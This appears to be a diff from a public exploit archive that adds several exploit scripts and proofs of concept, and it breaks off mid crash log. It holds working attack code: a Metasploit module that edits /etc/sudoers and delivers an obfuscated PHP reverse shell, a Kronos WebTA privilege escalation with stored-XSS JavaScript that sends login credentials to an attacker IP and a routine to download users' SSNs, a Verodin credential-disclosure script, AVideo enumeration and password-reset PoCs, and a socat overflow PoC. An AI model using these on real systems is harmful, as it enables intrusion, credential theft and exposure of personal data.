return false
|
||||
end
|
||||
end
|
||||
|
||||
# This function is used to enable php execution in sudoers file using sed
|
||||
def change_sudo_permissions()
|
||||
return sendConfigToolMessage('/../../../usr/bin/sed',["-i", "s/NOPASSWD:/NOPASSWD:ALL#/", "/etc/sudoers"])
|
||||
end
|
||||
|
||||
# Encode a given string to bypass validation
|
||||
def encode(content)
|
||||
result = ""
|
||||
content.split("").each do |i|
|
||||
result = result + "chr(" + (i.ord).to_s + ")."
|
||||
end
|
||||
result = result[0...-1]
|
||||
return result
|
||||
end
|
||||
|
||||
# This function generates the required payload used to connect to the msf listener
|
||||
def send_payload()
|
||||
meterpreter_reverse_php='exec("/usr/bin/sed -i \'s/NOPASSWD:ALL#/NOPASSWD:/\' \'/etc/sudoers\'"); $ip = "' + datastore['LHOST'] + '"; $port = ' + datastore['LPORT'].to_s + '; '\
|
||||
'if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); '\
|
||||
'$s_type = "stream"; } if (!$s && ($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port);'\
|
||||
' $s_type = "stream"; } if (!$s && ($f = "socket_create") && is_callable($f)) '\
|
||||
'{ $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) '\
|
||||
'{ die(); } $s_type = "socket"; } if (!$s_type) { die("no socket funcs"); } '\
|
||||
'if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); break; '\
|
||||
'case "socket": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len);'\
|
||||
' $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch ($s_type) { case "stream": $b .= '\
|
||||
'fread($s, $len-strlen($b)); break; case "socket": $b .= socket_read($s, $len-strlen($b)); break; } } '\
|
||||
'$GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; if (extension_loaded("suhosin") '\
|
||||
'&& ini_get("suhosin.executor.disable_eval")) { $suhosin_bypass=create_function("", $b); $suhosin_bypass(); } '\
|
||||
'else { eval($b); } die(); ?>'
|
||||
|
||||
command = "eval(" + encode(meterpreter_reverse_php) + ");"
|
||||
return sendConfigToolMessage("/../../../usr/bin/php5", ["-r", command], false)
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check == Exploit::CheckCode::Vulnerable # Check if the system may be a PFC200
|
||||
print_good("Target seems to be a vulnerable PFC200 device")
|
||||
if login # Try to authenticate using the given credentials
|
||||
print_good("Successfully logged in as website admin")
|
||||
if change_sudo_permissions()
|
||||
print_good("Manipulated the /etc/sudoers file to enable php execution as root")
|
||||
print_good("Preparing meterpreter payload and undoing changes to /etc/sudoers...")
|
||||
send_payload()
|
||||
else
|
||||
print_error("Unable to modify the /etc/sudoers file...")
|
||||
end
|
||||
else
|
||||
print_error("Unable to login as admin with the given credentials...")
|
||||
end
|
||||
else
|
||||
print_error("Target is not a valid PFC200 device. Will exit now...")
|
||||
end
|
||||
end
|
||||
end
|
||||
293
exploits/java/webapps/48001.py
Executable file
293
exploits/java/webapps/48001.py
Executable file
|
|
@ -0,0 +1,293 @@
|
|||
# Exploit Title: Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation
|
||||
# Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group
|
||||
# Exploit Author: Nolan B. Kennedy (nxkennedy)
|
||||
# Discovery date: 2019-09-20
|
||||
# Vendor Homepage: https://www.kronos.com/products/kronos-webta
|
||||
# Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029)
|
||||
# Tested on: Linux
|
||||
# CVE: (Remote Privesc) CVE-2020-8495 | (Stored XSS) CVE-2020-8493
|
||||
# Usage: python3 exploit.py http://target
|
||||
|
||||
#!/bin/bash/python3
|
||||
|
||||
###
|
||||
# *Exploit requires credentials with Timekeeper or Supervisor privileges
|
||||
#
|
||||
# Exploit abuses delegation privs present in the WebTA "/servlet/com.threeis.webta.H491delegate"
|
||||
# servlet. By specifying the "delegate" and "delegatorUserId" parameter an attacker can use an
|
||||
# admin user id to delegate role 5 (aka admin privs) to any other known user id, including oneself.
|
||||
#
|
||||
# selFunc=add&selRow=&delegate=<ATTACKER>&delegateRole=5&delegatorEmpId=1234&delegatorUserId=<ADMIN>
|
||||
#
|
||||
# With our new admin account, we can abuse a stored XSS vulnerability present in the login page,
|
||||
# banner (displayed on every page) & password reset page. We can also pull system information and
|
||||
# download a file containing the FULL NAME AND SSN OF EVERY USER in the database (typically thousands).
|
||||
#
|
||||
#
|
||||
# Below is an example of the exploit output:
|
||||
#####
|
||||
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper
|
||||
#
|
||||
# [+] Available Admin Accounts:
|
||||
# MOTOKO
|
||||
# BATOU
|
||||
# TOGUSA
|
||||
# ISHIKAWA
|
||||
#
|
||||
# [-] Attempting to use account 'MOTOKO' to delegate Admin privs to 'TESTER'...
|
||||
#
|
||||
# [+] 'TESTER' successfully elevated to Admin privs :)
|
||||
#
|
||||
#
|
||||
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper, Admin
|
||||
#
|
||||
# [+] Webta Version Information
|
||||
# Site parameter: company
|
||||
# Licensed modules:WEBTA-LEAVE, WEBTA, WEBTA
|
||||
# webTA Servlet Version: 3.8.6.79029
|
||||
# webTA Database Version: 3.8.6.79029
|
||||
# App Server OS: Linux version 3.10.0-1062.1.1.el7.x86_64 (amd64)
|
||||
# App Server JDK Version: Oracle Corporation version 1.8.0_222
|
||||
# App Server Servlet Engine: Apache Tomcat/7.0.76 (Servlet API 3.0)
|
||||
# App Server JDBC Driver: Oracle JDBC driver version 11.2.0.4.0
|
||||
# Database Version: Oracle JDBC driver version 11.2.0.4.0
|
||||
# Database Connection: jdbc:oracle:thin:@//foo.rds.amazonaws.com:1521/webtadb<br>connected as user WEBTASVC
|
||||
#
|
||||
# [-] Downloading names and SSNs...
|
||||
#
|
||||
# [+] Complete. 5020 users written to file 'WebTA-PII.xls'
|
||||
# [+] Sample Content:
|
||||
# USERID,Last Name,First Name,Middle Name,SSN,Supervisor ID,Timekeeper ID,Organization,Pay Period,Active Status,
|
||||
# MOTOKO,Kusanagi,Major,M.,987-65-4321,ARAMAKI,ARAMAKI,SECTION9,19,Active,
|
||||
#
|
||||
# [+] Stored XSS attack complete :)
|
||||
#####
|
||||
|
||||
import re
|
||||
from requests import Request, Session
|
||||
from sys import argv, exit
|
||||
|
||||
|
||||
|
||||
|
||||
banner = """###
|
||||
# Kronos WebTA 3.8.x - 4.0 Authenticated Remote Privilege Escalation & Stored XSS Exploit
|
||||
# Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group
|
||||
# Exploit Author: Nolan B. Kennedy (nxkennedy)
|
||||
# Discovery date: 20 SEPT 2019
|
||||
# Vendor Homepage: https://www.kronos.com/products/kronos-webta
|
||||
# Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029)
|
||||
# Tested on: Linux
|
||||
# CVE: (Remote Privesc) CVE-2020-8494 | (Stored XSS) CVE-2020-8493
|
||||
# Usage: python3 exploit.py http://target
|
||||
###"""
|
||||
base_url = argv[1]
|
||||
username = "TESTER"
|
||||
password = "password!1234"
|
||||
# set to True if you want to also exploit Stored XSS
|
||||
xss = False
|
||||
# xss strings can be injected into 3 different 'banner' locations (feel free to modify content)
|
||||
# WILL NOT ERASE CONTENT ALREADY IN APPLICATION
|
||||
xss_login_page = """
|
||||
<script>
|
||||
/* steals login creds each time a user logs in and forwards them to attacker ip */
|
||||
|
||||
var attacker = "192.168.1.3";
|
||||
|
||||
/* don't forget to set up a listener (python3 -m http.server 80) */
|
||||
function stealCreds() {
|
||||
var username = document.frm[1].value;
|
||||
var password = document.frm[2].value;
|
||||
img = new Image();
|
||||
img.src = "http://"+attacker+"/?"+ "username=" +username+ "&" + "password=" +escape(password);
|
||||
setTimeout('document.frm.submit();', 1000);
|
||||
return false;
|
||||
}
|
||||
|
||||
function readyToSteal() {
|
||||
document.frm.onsubmit = stealCreds;
|
||||
}
|
||||
|
||||
/* special for WebTA because otherwise the script loads before the DOM and password form */
|
||||
document.addEventListener("DOMContentLoaded", readyToSteal);
|
||||
</script>
|
||||
"""
|
||||
xss_banner_everypage = ""
|
||||
xss_passwordchange_page = ""
|
||||
s = Session()
|
||||
adm_list = []
|
||||
|
||||
|
||||
|
||||
def web_req(url, data):
|
||||
print()
|
||||
req = Request('POST', url, data=data)
|
||||
prepared = s.prepare_request(req)
|
||||
resp = s.send(prepared, allow_redirects=True, verify=False)
|
||||
return resp
|
||||
|
||||
|
||||
|
||||
def killActiveSession():
|
||||
url = base_url + "/servlet/com.threeis.webta.H111multipleLogin"
|
||||
data = {"selFunc":"continue"}
|
||||
resp = web_req(url, data)
|
||||
|
||||
|
||||
|
||||
def checkPrivs():
|
||||
url = base_url + "/servlet/com.threeis.webta.HGateway"
|
||||
data = {}
|
||||
resp = web_req(url, data)
|
||||
html = resp.text
|
||||
activeSession = roles = re.findall(r'(.*?)You have an active session open at a another browser(.*?)\.', html)
|
||||
roles = re.findall(r'(.*?)type\="button"(.*?)>', html)
|
||||
if activeSession:
|
||||
print("[-] Killing active session...")
|
||||
killActiveSession()
|
||||
login()
|
||||
elif roles:
|
||||
roles_list = []
|
||||
for role in roles:
|
||||
role = role[1].split('"')[1]
|
||||
roles_list.append(role)
|
||||
print("[+] Logged in as '{}' with roles: {}".format(username, ', '.join(roles_list)))
|
||||
|
||||
else:
|
||||
print("[!] Account does not have required Timekeeper or Supervisor privs")
|
||||
exit()
|
||||
|
||||
|
||||
|
||||
def login():
|
||||
url = base_url + "/servlet/com.threeis.webta.H110login"
|
||||
data = {"j_username": username, "j_password": password, "login": "++Log+In++"}
|
||||
resp = web_req(url, data)
|
||||
if resp.status_code != 200:
|
||||
print("[!] Failed login in as '{}'".format(username))
|
||||
exit()
|
||||
checkPrivs()
|
||||
|
||||
|
||||
|
||||
def findAdmins():
|
||||
url = base_url + "/servlet/com.threeis.webta.H940searchUser"
|
||||
data = {
|
||||
"selFunc":"search",
|
||||
"return_page":"com.threeis.webta.P491delegate",
|
||||
"return_variable":"delegate",
|
||||
"search_org":"0",
|
||||
"search_role":"Administrator",
|
||||
"actingRole":"2",
|
||||
"payload_name_0":"selFunc",
|
||||
"payload_val_0":"search",
|
||||
"payload_name_1":"selRow",
|
||||
"payload_name_2":"delegate",
|
||||
"payload_name_3":"delegateRole",
|
||||
"payload_val_3":"2",
|
||||
"payload_name_4":"delegatorEmpId",
|
||||
"payload_val_4":"15667", # might need a valid user id
|
||||
"payload_name_5":"delegatorUserId",
|
||||
"payload_val_5":username,
|
||||
}
|
||||
resp = web_req(url, data)
|
||||
html = resp.text
|
||||
adm_usrs = re.findall(r'<TD CLASS\="bckGray">(.*?)\n', html)
|
||||
print("[+] Available Admin Accounts:")
|
||||
for snip in adm_usrs:
|
||||
adm = snip.split('</TD><TD CLASS="bckGray">')[2]
|
||||
adm_list.append(adm)
|
||||
print(adm)
|
||||
|
||||
|
||||
|
||||
def privesc():
|
||||
url = base_url + "/servlet/com.threeis.webta.H491delegate"
|
||||
data = {
|
||||
"selFunc":"add",
|
||||
"delegate":username,
|
||||
"delegateRole":"5",
|
||||
"delegatorEmpId":"1234",
|
||||
"delegatorUserId":adm_list[0],
|
||||
}
|
||||
print()
|
||||
print("[-] Attempting to use account '{}' to delegate Admin privs to '{}'...".format(adm_list[0], username))
|
||||
resp = web_req(url, data)
|
||||
print("[+] '{}' successfully elevated to Admin privs :)".format(username))
|
||||
|
||||
|
||||
|
||||
def storeXSS():
|
||||
url = base_url + "/servlet/com.threeis.webta.H261configMenu"
|
||||
data = {'selFunc':'messages'}
|
||||
### to be covert we want to append our js to the end of * messages/banners already there *
|
||||
resp = web_req(url, data)
|
||||
html = resp.text
|
||||
messages = re.findall(r'<TEXTAREA name\=(.*?)</textarea>', html, re.DOTALL)
|
||||
messages_clean = []
|
||||
for message in messages:
|
||||
message = message.split('wrap="virtual">')[1]
|
||||
messages_clean.append(message)
|
||||
login_page = messages_clean[0]
|
||||
banner_everypage = messages_clean[1]
|
||||
passwordchange_page = messages_clean[2]
|
||||
|
||||
### now we inject our javascript
|
||||
url = base_url + "/servlet/com.threeis.webta.H201config"
|
||||
data = {
|
||||
"selFunc":"save",
|
||||
"loginMessage": login_page + xss_login_page,
|
||||
"bannerMessage": banner_everypage + xss_banner_everypage,
|
||||
"passwordMessage": passwordchange_page + xss_passwordchange_page,
|
||||
}
|
||||
resp = web_req(url, data)
|
||||
print("[+] Stored XSS attack complete :)")
|
||||
|
||||
|
||||
|
||||
def stealPII():
|
||||
url = base_url + "/servlet/com.threeis.webta.H287userRoleReport"
|
||||
data = {
|
||||
"selFunc":"downloademp",
|
||||
"roletype":"1",
|
||||
"orgsel":"0",
|
||||
"pageNum":"1",
|
||||
}
|
||||
print("[-] Downloading names and SSNs...")
|
||||
resp = web_req(url, data)
|
||||
filename = "WebTA-PII.xls"
|
||||
with open(filename, 'wb') as f:
|
||||
f.write(resp.content)
|
||||
with open(filename) as f:
|
||||
for i, l in enumerate(f):
|
||||
pass
|
||||
count = i # does not include header
|
||||
print("[+] Complete. {} users written to file '{}'".format(count, filename))
|
||||
print("[+] Sample Content:")
|
||||
with open(filename) as f:
|
||||
for n in range(2):
|
||||
print(",".join(f.readline().split("\t")), end="")
|
||||
|
||||
|
||||
|
||||
def dumpSysInfo():
|
||||
url = base_url + "/servlet/com.threeis.webta.H200mnuAdmin"
|
||||
data = {"selFunc":"about"}
|
||||
resp = web_req(url, data)
|
||||
html = resp.text
|
||||
data = re.findall(r'<INPUT VALUE\="(.*?)"', html, re.DOTALL)
|
||||
print("[+] " + data[0])
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
print(banner)
|
||||
login()
|
||||
findAdmins()
|
||||
privesc()
|
||||
login() # login again because we need the refreshed perms after privesc
|
||||
dumpSysInfo()
|
||||
#stealPII()
|
||||
if xss:
|
||||
storeXSS()
|
||||
s.close()
|
||||
41
exploits/json/webapps/47997.txt
Normal file
41
exploits/json/webapps/47997.txt
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
# Exploit Title: AVideo Platform 8.1 - Information Disclosure (User Enumeration)
|
||||
# Dork: N/A
|
||||
# Date: 2020-02-05
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Vendor Homepage: https://avideo.com
|
||||
# Software Link: https://github.com/WWBN/AVideo
|
||||
# Version: 8.1
|
||||
# Tested on: Linux
|
||||
# CVE: N/A
|
||||
|
||||
# POC:
|
||||
# 1)
|
||||
# http://localhost/[PATH]/objects/playlistsFromUser.json.php?users_id=[ID]
|
||||
#
|
||||
................
|
||||
0
|
||||
id 92
|
||||
user "admin"
|
||||
name "Watch Later"
|
||||
email "user@localhost"
|
||||
password "bc79a173cc20f0897db1c5b004588db9"
|
||||
created "2019-05-16 21:42:42"
|
||||
modified "2019-05-16 21:42:42"
|
||||
isAdmin 1
|
||||
status "watch_later"
|
||||
photoURL "videos/userPhoto/photo1.png"
|
||||
lastLogin "2020-02-03 08:11:08"
|
||||
recoverPass "0ce70c7b006c78552fee993adeaafadf"
|
||||
................
|
||||
#
|
||||
# Hash function to be converted ....
|
||||
#
|
||||
function encryptPassword($password, $noSalt = false) {
|
||||
global $advancedCustom, $global, $advancedCustomUser;
|
||||
if (!empty($advancedCustomUser->encryptPasswordsWithSalt) && !empty($global['salt']) && empty($noSalt)) {
|
||||
$password .= $global['salt'];
|
||||
}
|
||||
|
||||
return md5(hash("whirlpool", sha1($password)));
|
||||
}
|
||||
#
|
||||
187
exploits/json/webapps/48002.py
Executable file
187
exploits/json/webapps/48002.py
Executable file
|
|
@ -0,0 +1,187 @@
|
|||
# Exploit Title: Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)
|
||||
# Discovery Date: 2019-01-31
|
||||
# Exploit Author: Nolan B. Kennedy (nxkennedy)
|
||||
# Vendor Homepage: https://www.verodin.com/
|
||||
# Software Link : https://www.verodin.com/demo-request/demo-request-form
|
||||
# Tested Versions: v3.5.1.0, v3.5.2.0, v3.5.3.1
|
||||
# Tested On: Windows
|
||||
# CVE: CVE-2019-10716
|
||||
# Vulnerability Type: Sensitive Data Disclosure
|
||||
###
|
||||
# Description: Verodin Director's REST API allows authenticated users to query the configuration
|
||||
# details, which include credentials, of any 50+ possible integrated security tools (e.g. Splunk, ArcSight, Palo Alto, AWS Cloud Trail).
|
||||
# Fortunately for attackers, members of 3 out of the 4 user groups in the Director can query this info (Users, Power Users, System Admin).
|
||||
#
|
||||
# API Request: GET https://<director-ip>/integrations.json
|
||||
#
|
||||
# Usage: python3 script.py
|
||||
#
|
||||
# Example Output:
|
||||
#
|
||||
# -- VERODIN DIRECTOR WEB CONSOLE < V3.5.4.0 - REMOTE AUTHENTICATED PASSWORD DISCLOSURE (POC) --
|
||||
# -- Author: Nolan B. Kennedy (nxkennedy) --
|
||||
#
|
||||
#
|
||||
# [+] Director Version
|
||||
# =====================
|
||||
# [*] Detected version 3.5.1.0 is VULNERABLE! :)
|
||||
#
|
||||
#
|
||||
# [+] Account Permissions
|
||||
# ========================
|
||||
# [*] "admin@verodin.com" is a member of "System Admin"
|
||||
#
|
||||
#
|
||||
# [+] Verodin Integrations
|
||||
# =========================
|
||||
# [*] Product: splunk
|
||||
# [*] Username: splunk_svc_acct
|
||||
# [*] Misc (may include credentials): [{'scheme': 'https', 'basic': False, 'password': 'Sup3rP@ssw0rd',
|
||||
# 'port': 8089, 'host': '10.0.0.6', 'username': 'splunk_svc_acct'},
|
||||
# {'proxy_hash': None}]
|
||||
#
|
||||
# [*] Product: arcsight
|
||||
# [*] Username: arcsight_admin
|
||||
# [*] Misc (may include credentials): ['10.0.0.7', 8443, 'https', 'arcsight_admin', 'Sup3rP@ssw0rd',
|
||||
# "/All Filters/Personal/integration_user's filters/Verodin Filter", 'Verodin Query Viewer', 60]
|
||||
#
|
||||
# [+] Done!
|
||||
###
|
||||
|
||||
import base64
|
||||
from distutils.version import LooseVersion
|
||||
import json
|
||||
import re
|
||||
import ssl
|
||||
from sys import exit
|
||||
from time import sleep
|
||||
import urllib.request
|
||||
|
||||
|
||||
|
||||
|
||||
verodin_ip = '0.0.0.0'
|
||||
# Default System Admin creds. Worth a try.
|
||||
username = 'admin@verodin.com'
|
||||
password = 'Ver0d!nP@$$'
|
||||
base_url = 'https://{}'.format(verodin_ip)
|
||||
fixed_version = '3.5.4.0'
|
||||
|
||||
|
||||
# We'll be making 3 different requests so we need a web handling function
|
||||
def requests(target, html=False):
|
||||
|
||||
url = base_url + target
|
||||
context = ssl._create_unverified_context() # so we don't get an ssl cert error
|
||||
req = urllib.request.Request(url)
|
||||
credentials = ('{}:{}'.format(username, password))
|
||||
encoded_credentials = base64.b64encode(credentials.encode('ascii'))
|
||||
req.add_header('Authorization', 'Basic %s' % encoded_credentials.decode("ascii")) # use %s instead of format because errors
|
||||
r = urllib.request.urlopen(req, context=context)
|
||||
content = r.read().decode('utf-8')
|
||||
if r.getcode() == 200:
|
||||
# we don't always get a 401 if auth fails
|
||||
if 'Cookies need to be enabled' in content:
|
||||
print('[!] Failed to retrieve data: Credentials incorrect/invalid')
|
||||
print()
|
||||
print('[!] Exiting...')
|
||||
exit(1)
|
||||
elif html:
|
||||
blob = content
|
||||
else:
|
||||
blob = json.loads(content)
|
||||
return blob
|
||||
elif r.getcode() == 401:
|
||||
print('[!] Failed to retrieve data: Credentials incorrect/invalid')
|
||||
print()
|
||||
print('[!] Exiting...')
|
||||
exit(1)
|
||||
else:
|
||||
print('[!] ERROR: Status Code {}'.format(r.getcode()))
|
||||
exit(1)
|
||||
|
||||
|
||||
# Do we have permissions to retrieve the creds?
|
||||
def getUserPerms():
|
||||
|
||||
target = '/users/user_prefs.json'
|
||||
r = requests(target) # returns a single json dict
|
||||
print('\n[+] Account Permissions')
|
||||
print('========================')
|
||||
group_id = r['user_group_id']
|
||||
roles = {'Reporting': 4, 'Users': 3, 'Power Users': 2, 'System Admin': 1}
|
||||
for role,value in roles.items():
|
||||
if group_id == value:
|
||||
print('[*] "{}" is a member of "{}"'.format(username, role))
|
||||
print()
|
||||
if group_id == 4:
|
||||
print('[!] This account does not have sufficient privs. You need "Users" or higher.')
|
||||
print()
|
||||
print('[!] Exiting...')
|
||||
exit(1)
|
||||
sleep(0.5)
|
||||
|
||||
|
||||
# We need to verify the target Director is running a vulnerable version
|
||||
def checkVuln():
|
||||
|
||||
target = '/settings/system'
|
||||
r = requests(target, html=True)
|
||||
field = re.search(r'Director\sVersion:.*', r)
|
||||
version = field.group().split('<')[0].split(" ")[2]
|
||||
print('\n[+] Director Version')
|
||||
print('=====================')
|
||||
if LooseVersion(version) < LooseVersion(fixed_version):
|
||||
print('[*] Detected version {} is VULNERABLE! :)'.format(version))
|
||||
print()
|
||||
else:
|
||||
print('[!] Detected version {} is not vulnerable. Must be < {}'.format(version, fixed_version))
|
||||
print()
|
||||
print('[!] Exiting...')
|
||||
|
||||
sleep(0.5)
|
||||
|
||||
|
||||
# Where we parse out any creds or other useful info
|
||||
def getLoot():
|
||||
|
||||
target = '/integrations.json'
|
||||
r = requests(target) # a list of json dicts
|
||||
print('\n[+] Verodin Integrations')
|
||||
print('=========================')
|
||||
if not r:
|
||||
print('[+] Dang! No integrations configured in this Director :(')
|
||||
print()
|
||||
else:
|
||||
for integration in r:
|
||||
product = integration['package_name'] # constant key
|
||||
misc = integration.get('new_client_args') # we use .get to return a None type if the key doesn't exist
|
||||
user = integration.get('username')
|
||||
passw = integration.get('password')
|
||||
token = integration.get('auth_token')
|
||||
print('[*] Product: {}'.format(product))
|
||||
if user:
|
||||
print('[*] Username: {}'.format(user))
|
||||
if passw:
|
||||
print('[*] Password: {}'.format(passw))
|
||||
if token and token is not 'null':
|
||||
print('[*] Auth Token: {}'.format(token))
|
||||
if misc:
|
||||
print('[*] Misc (may include credentials): {}'.format(misc))
|
||||
print()
|
||||
sleep(0.5)
|
||||
|
||||
|
||||
def main():
|
||||
|
||||
print('\n-- Verodin Director Web Console < v3.5.4.0 - Remote Authenticated Password Disclosure (PoC) --'.upper())
|
||||
print('-- Author: Nolan B. Kennedy (nxkennedy) --')
|
||||
print()
|
||||
checkVuln()
|
||||
getUserPerms()
|
||||
getLoot()
|
||||
print('[+] Done!')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
33
exploits/json/webapps/48003.txt
Normal file
33
exploits/json/webapps/48003.txt
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
# Exploit Title: AVideo Platform 8.1 - Cross Site Request Forgery (Password Reset)
|
||||
# Dork: N/A
|
||||
# Date: 2020-02-05
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Vendor Homepage: https://avideo.com
|
||||
# Software Link: https://github.com/WWBN/AVideo
|
||||
# Version: 8.1
|
||||
# Tested on: Linux
|
||||
# CVE: N/A
|
||||
|
||||
# POC:
|
||||
# 1)
|
||||
# http://localhost/[PATH]/objects/playlistsFromUser.json.php?users_id=[ID]
|
||||
#
|
||||
................
|
||||
0
|
||||
id 92
|
||||
user "admin"
|
||||
name "Watch Later"
|
||||
email "user@localhost"
|
||||
password "bc79a173cc20f0897db1c5b004588db9"
|
||||
created "2019-05-16 21:42:42"
|
||||
modified "2019-05-16 21:42:42"
|
||||
isAdmin 1
|
||||
status "watch_later"
|
||||
photoURL "videos/userPhoto/photo1.png"
|
||||
lastLogin "2020-02-03 08:11:08"
|
||||
recoverPass "0ce70c7b006c78552fee993adeaafadf"
|
||||
................
|
||||
#
|
||||
# Password recovery can be done using recoverPass.
|
||||
# http://localhost/[PATH]/recoverPass?user=admin&recoverpass=0ce70c7b006c78552fee993adeaafadf
|
||||
#
|
||||
182
exploits/linux/local/47999.txt
Normal file
182
exploits/linux/local/47999.txt
Normal file
|
|
@ -0,0 +1,182 @@
|
|||
# Exploit Title: Socat 1.7.3.4 - Heap Based Overflow (PoC)
|
||||
# Date: 2020-02-03
|
||||
# Exploit Author: hieubl from HPT Cyber Security
|
||||
# Vendor Homepage: http://www.dest-unreach.org/
|
||||
# Software Link: http://www.dest-unreach.org/socat/
|
||||
# Version: 1.7.3.4
|
||||
# Tested on: Ubuntu 16.04.6 LTS
|
||||
# CVE :
|
||||
|
||||
# Heap-Based Overflow due to Integer Overflow and Lack of PIE mitigation (PoC)
|
||||
|
||||
------- [***Description***] -------
|
||||
The source code of socat.c contains _socat() function which has the
|
||||
Integer Overflow vulnerability:
|
||||
int _socat(void) {
|
||||
...
|
||||
unsigned char *buff;
|
||||
...
|
||||
buff = Malloc(2*socat_opts.bufsiz+1)
|
||||
...
|
||||
}
|
||||
|
||||
After that, the the line of code "if ((bytes2 = xiotransfer(sock2,
|
||||
sock1, &buff, socat_opts.bufsiz, true)) < 0) {" calls the
|
||||
xiotransfer() function. The xiotransfer() function calls xioread()
|
||||
function. Finally xioread() function calls Read() function.
|
||||
|
||||
ssize_t xioread(xiofile_t *file, void *buff, size_t bufsiz) {
|
||||
|
||||
...
|
||||
Read(pipe->fd, buff, bufsiz); //[***!!!This line of code leads to
|
||||
Heap-Based Overflow vulnerability***!!!]
|
||||
...
|
||||
}
|
||||
|
||||
In addition, the "Makefile" file does not turn on the Position
|
||||
Independent Executables (PIE) mitigation (the CFLAGS does not contains
|
||||
"-pie" flag). By default, Ubuntu 16.04 does not turn on this
|
||||
mitigation. Consequently, it is easier to exploit the program, may
|
||||
even lead to Remode Code Execution (RCE).
|
||||
Reference: https://hackerone.com/reports/415272, $100 bounty for Linux
|
||||
Desktop application slack executable does not use pie / no ASLR
|
||||
|
||||
------- [***Download and build***] -------
|
||||
Download link: http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz
|
||||
$ tar xzvf socat-1.7.3.4.tar.gz
|
||||
$ cd socat-1.7.3.4/
|
||||
$ ./configure
|
||||
Modify "Makefile" file: "CFLAGS = -g -O -D_GNU_SOURCE -Wall
|
||||
-Wno-parentheses $(CCOPTS) $(DEFS) $(CPPFLAGS)" (add "-g" flag for
|
||||
debugging purpose)
|
||||
$ make
|
||||
$ sudo make install
|
||||
|
||||
------- [***Proof of Concept***] -------
|
||||
$ checksec socat
|
||||
[*] '/home/natsu/temp/socat-1.7.3.4/socat'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
FORTIFY: Enabled
|
||||
>>> There is no PIE mitigation!
|
||||
|
||||
$ python -c 'print "A"*1000000' > a
|
||||
$ touch b
|
||||
$ socat -b9223372036854775888 OPEN:a,readbytes=1000000 OPEN:b,readbytes=1000000
|
||||
|
||||
This proof of concept triggers the bugs by setting the buffer size to
|
||||
0x8000000000000050(9223372036854775888 in decimal). Therefore, the malloc
|
||||
size is passed to "Malloc(2*socat_opts.bufsiz+1)" is 0x100000000000000a0.
|
||||
This is equivalent to Malloc(0xa0). The readbytes("readbytes=1000000")
|
||||
controls the size of reading (we cannot read with the size too large as
|
||||
0x8000000000000050) with these lines of code: if (pipe->readbytes) { if
|
||||
(pipe->actbytes == 0) { return 0; } if (pipe->actbytes < bufsiz) { bufsiz =
|
||||
pipe->actbytes; } } ------- [***Crash logs***] ------- *** Error in
|
||||
`socat': free(): invalid next size (normal): 0x000000000106a110 ***
|
||||
======= Backtrace: =========
|
||||
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fc0ee5817e5]
|
||||
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fc0ee58a37a]
|
||||
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fc0ee58e53c]
|
||||
socat[0x407e3f]
|
||||
socat[0x4084c6]
|
||||
socat[0x408f7a]
|
||||
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fc0ee52a830]
|
||||
socat[0x4057a9]
|
||||
======= Memory map: ========
|
||||
00400000-0044a000 r-xp 00000000 08:01 655643
|
||||
/usr/local/bin/socat
|
||||
00649000-0064a000 r--p 00049000 08:01 655643
|
||||
/usr/local/bin/socat
|
||||
0064a000-0064b000 rw-p 0004a000 08:01 655643
|
||||
/usr/local/bin/socat
|
||||
0064b000-0068c000 rw-p 00000000 00:00 0
|
||||
01069000-0108a000 rw-p 00000000 00:00 0
|
||||
[heap]
|
||||
7fc0e8000000-7fc0e8021000 rw-p 00000000 00:00 0
|
||||
7fc0e8021000-7fc0ec000000 ---p 00000000 00:00 0
|
||||
7fc0eded3000-7fc0edee9000 r-xp 00000000 08:01 397801
|
||||
/lib/x86_64-linux-gnu/libgcc_s.so.1
|
||||
7fc0edee9000-7fc0ee0e8000 ---p 00016000 08:01 397801
|
||||
/lib/x86_64-linux-gnu/libgcc_s.so.1
|
||||
7fc0ee0e8000-7fc0ee0e9000 rw-p 00015000 08:01 397801
|
||||
/lib/x86_64-linux-gnu/libgcc_s.so.1
|
||||
7fc0ee0e9000-7fc0ee0ec000 r-xp 00000000 08:01 397787
|
||||
/lib/x86_64-linux-gnu/libdl-2.23.so
|
||||
7fc0ee0ec000-7fc0ee2eb000 ---p 00003000 08:01 397787
|
||||
/lib/x86_64-linux-gnu/libdl-2.23.so
|
||||
7fc0ee2eb000-7fc0ee2ec000 r--p 00002000 08:01 397787
|
||||
/lib/x86_64-linux-gnu/libdl-2.23.so
|
||||
7fc0ee2ec000-7fc0ee2ed000 rw-p 00003000 08:01 397787
|
||||
/lib/x86_64-linux-gnu/libdl-2.23.so
|
||||
7fc0ee2ed000-7fc0ee305000 r-xp 00000000 08:01 397909
|
||||
